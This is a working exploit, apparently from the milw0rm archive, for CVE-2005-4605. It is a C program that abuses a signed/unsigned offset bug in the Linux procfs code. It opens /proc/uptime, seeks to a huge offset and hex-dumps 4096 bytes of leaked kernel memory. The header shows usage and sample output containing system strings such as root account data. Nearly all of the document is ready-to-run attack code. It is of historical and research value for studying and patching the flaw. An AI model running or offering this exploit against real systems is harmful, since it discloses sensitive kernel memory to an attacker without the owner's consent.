Linux Kernel < 2.6.14.6 - 'procfs' Kernel Memory Disclosure

/* 
 * cve-2005-4605.c
 *
 * Linux Kernel < 2.6.14.6 procfs Kernel Memory Disclosure
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 * 
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4605
 * 
 *   The procfs code (proc_misc.c) in Linux 2.6.14.3 and other versions before
 *   2.6.15 allows attackers to read sensitive kernel memory via unspecified 
 *   vectors in which a signed value is added to an unsigned value. 
 * 
 * Usage:
 *
 *   $ gcc cve-2005-4605.c -o cve-2005-4605
 *   $ ./cve-2005-4605
 *   [+] Opened /proc/uptime.
 *   [+] Seek to offset 4294963199.
 *   [+] Read 4096 bytes, dumping to stdout...
 *   ...
 *   ... 00 00 00 00 11 00 00 00  ................................
 *   ... 3a 30 3a 72 6f 6f 74 00  localhost.......root.x.0:0:root.
 *   ... 0d 00 00 00 dc 91 0f 08  /root./bin/bash.....@...........
 *   ... bc af 0e 08 00 00 00 00  ............p...................
 *   ...
 *
 * Notes:
 * 
 *   This one is _ancient_, but str0ke requested it! ;-) 
 */

#define _FILE_OFFSET_BITS 64
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>
#include <string.h>
#include <inttypes.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define DUMP 4096
#define PROC "/proc/uptime"

#define TYPE_SIGNED(t) (! ((t) 0 < (t) -1))
#define TYPE_MAX(t) ((t) (! TYPE_SIGNED (t) ? (t) -1 : ~ (~ (t) 0 << (sizeof (t) * CHAR_BIT - 1))))

const char hex_asc[] = "0123456789abcdef";
#define hex_asc_lo(x) hex_asc[((x) & 0x0f)]
#define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4]

void
hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, bool ascii)
{
	const uint8_t *ptr = buf;
	uint8_t ch;
	int j, lx = 0;
	int ascii_column;

	if (rowsize != 16 && rowsize != 32)
		rowsize = 16;

	if (!len)
		goto nil;
	if (len > rowsize)
		len = rowsize;
	if ((len % groupsize) != 0)
		groupsize = 1;

	switch (groupsize) {
	case 8: {
		const uint64_t *ptr8 = buf;
		int ngroups = len / groupsize;

		for (j = 0; j < ngroups; j++)
			lx += snprintf(linebuf + lx, linebuflen - lx,
				"%16.16llx ", (unsigned long long)*(ptr8 + j));
		ascii_column = 17 * ngroups + 2;
		break;
	}

	case 4: {
		const uint32_t *ptr4 = buf;
		int ngroups = len / groupsize;

		for (j = 0; j < ngroups; j++)
			lx += snprintf(linebuf + lx, linebuflen - lx,
				"%8.8x ", *(ptr4 + j));
		ascii_column = 9 * ngroups + 2;
		break;
	}

	case 2: {
		const uint16_t *ptr2 = buf;
		int ngroups = len / groupsize;

		for (j = 0; j < ngroups; j++)
			lx += snprintf(linebuf + lx, linebuflen - lx,
				"%4.4x ", *(ptr2 + j));
		ascii_column = 5 * ngroups + 2;
		break;
	}

	default:
		for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen;
			 j++) {
			ch = ptr[j];
			linebuf[lx++] = hex_asc_hi(ch);
			linebuf[lx++] = hex_asc_lo(ch);
			linebuf[lx++] = ' ';
		}
		ascii_column = 3 * rowsize + 2;
		break;
	}
	if (!ascii)
		goto nil;

	while (lx < (linebuflen - 1) && lx < (ascii_column - 1))
		linebuf[lx++] = ' ';
	for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++)
		linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j]
				: '.';
nil:
	linebuf[lx++] = '\0';
}

void
print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, bool ascii)
{
	const uint8_t *ptr = buf;
	int i, linelen, remaining = len;
	unsigned char linebuf[200];

	if (rowsize != 16 && rowsize != 32)
		rowsize = 16;

	for (i = 0; i < len; i += rowsize) {
		linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize));
		remaining -= rowsize;
		hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize,
		linebuf, sizeof(linebuf), ascii);
		printf("%s\n", linebuf);
	}
}

int
main(void)
{
	int fd, ret;
	char buf[DUMP];
	off_t seek, offset=TYPE_MAX(off_t);

	memset(buf, 0, sizeof(buf));

	fd = open(PROC, O_RDONLY);
	if (fd == -1) {
		printf("[-] Error during open(2)\n");
		exit(1);
	}

	printf("[+] Opened " PROC ".\n");

	seek = lseek(fd, offset-DUMP, SEEK_SET);
	if (seek == -1) {
		printf("[-] Error during lseek(2).\n");
		exit(1);
	}

	printf("[+] Seek to offset %lld.\n", seek);

	ret = read(fd, buf, DUMP);
	if (ret == -1) {
		printf("[-] Error during read(2).\n");
		exit(1);
	}
	
	if (ret == 0) {
		printf("[-] read(2) return 0 bytes, your kernel may not be vulnerable.\n");
		exit(1);
	}

	printf("[+] Read %d bytes, dumping to stdout...\n\n", ret);

	sleep(3);

	print_hex_dump(32, 1, buf, ret, 1);

	return 0;
}

// milw0rm.com [2009-08-05]